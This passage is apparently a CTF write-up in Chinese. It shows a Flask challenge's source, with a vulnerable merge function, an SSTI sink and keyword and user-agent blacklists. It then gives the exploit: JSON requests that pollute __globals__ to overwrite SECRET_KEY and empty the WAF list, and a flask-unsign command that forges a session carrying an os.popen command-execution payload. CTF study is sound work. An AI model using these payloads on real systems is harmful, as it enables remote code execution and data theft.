86 return f"添加失败3"
87 except Exception as e:
88 return f"添加失败4"
89 return "添加失败5"
90
91
92@app.route('/aaadminnn', methods=['GET', 'POST'])
93def admin():
94 if session.get('name') == "admin" and session.get('permission') != 0:
95 permission = session.get('permission')
96 if check1(permission):
97 # 检测添加的商品是否合法
98 return "非法权限"
99
100 if request.method == 'POST':
101 return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'
102
103 upload_form = '''
104 <h2>商品管理系统</h2>
105 <form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
106 <h3>上传新商品</h3>
107 <input type=file name=file required style="margin:10px"><br>
108 <small>支持格式:jpg/png(最大2MB)</small><br>
109 <input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
110 </form>
111 '''
112
113 original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
114 new_template = original_template + upload_form
115
116 return render_template_string(new_template)
117 else:
118 return "<script>alert('You are not an admin');window.location.href='/'</script>"
119
120
121
122
123def merge(src, dst):
124 for k, v in src.items():
125 if hasattr(dst, '__getitem__'):
126 if dst.get(k) and type(v) == dict:
127 merge(v, dst.get(k))
128 else:
129 dst[k] = v
130 elif hasattr(dst, k) and type(v) == dict:
131 merge(v, getattr(dst, k))
132 else:
133 setattr(dst, k, v)
134
135
136def check(raw_data, forbidden_keywords=None):
137 """
138 检查原始数据中是否包含禁止的关键词
139 如果包含禁止关键词返回 True,否则返回 False
140 """
141 # 设置默认禁止关键词
142 if forbidden_keywords is None:
143 forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]
144
145 # 检查是否包含任何禁止关键词
146 return any(keyword in raw_data for keyword in forbidden_keywords)
147
148
149param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
150 'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
151 'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
152
153
154# 增强WAF防护
155def waf_check(value):
156 # 检查是否有不合法的字符
157 for black in param_black_list:
158 if black in value:
159 return False
160 return True
161
162# 检查是否是自动化工具请求
163def is_automated_request():
164 user_agent = request.headers.get('User-Agent', '').lower()
165 # 如果是常见的自动化工具的 User-Agent,返回 True
166 automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
167 return any(agent in user_agent for agent in automated_agents)
168
169def check1(value):
170
171 if is_automated_request():
172 print("Automated tool detected")
173 return True
174
175 # 使用WAF机制检查请求的合法性
176 if not waf_check(value):
177 return True
178
179 return False
180
181
182app.run(host="0.0.0.0",port=5014)
审计一下源码就可以看到/aaadminnn路由可以ssti
注入点是session中的permission参数
那我们先污染一手SECRET_KEY,然后伪造session
1POST /add HTTP/1.1
2Host: 27.25.151.198:30362
3Sec-Fetch-Dest: empty
4Sec-Fetch-Mode: cors
5Accept-Language: zh-CN,zh;q=0.9
6sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
7Referer: http://27.25.151.198:30362/add
8Accept-Encoding: gzip, deflate, br, zstd
9sec-ch-ua-platform: "Windows"
10Content-Type: application/json
11Origin: http://27.25.151.198:30362
12Accept: */*
13Sec-Fetch-Site: same-origin
14User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
15sec-ch-ua-mobile: ?0
16Content-Length: 3
17
18{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"\u0061\u0070\u0070":{"\u0063\u006F\u006E\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005F\u004B\u0045\u0059":"xrntkk"}}}}
另外把waf污染为空
1POST /add HTTP/1.1
2Host: 27.25.151.198:30362
3Sec-Fetch-Dest: empty
4Sec-Fetch-Mode: cors
5Accept-Language: zh-CN,zh;q=0.9
6sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
7Referer: http://27.25.151.198:30362/add
8Accept-Encoding: gzip, deflate, br, zstd
9sec-ch-ua-platform: "Windows"
10Content-Type: application/json
11Origin: http://27.25.151.198:30362
12Accept: */*
13Sec-Fetch-Site: same-origin
14User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
15sec-ch-ua-mobile: ?0
16Content-Length: 3
17
18{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"param_black_list":""}}
Payload:
1┌──(root㉿XrntsPC)-[/home/xrntkk/flask-session-cookie-manager]
2└─# flask-unsign --sign --secret xrntkk -c '{"name":"admin","permission":"{{g.pop.__globals__.__builtins__[\"__import__\"](\"os\").popen(\"cat 4flloog\").read()}}"}'
3.eJwVi8EKwyAQBX-lvFMCIaee-is1LKaxsrDuitqT-O81t5mB6VCfAl7wV2LFhhxK4lrZdMbe454t70RR7PRSiSafP5bGOuXtQMQpW2lEDsfiYNVhvaeg0z6-PZ5fEbN45xL8taxjYPwBAIEp0w.aEP1oA.brg9-lSD1jUcXaCB0RD1A8erqZI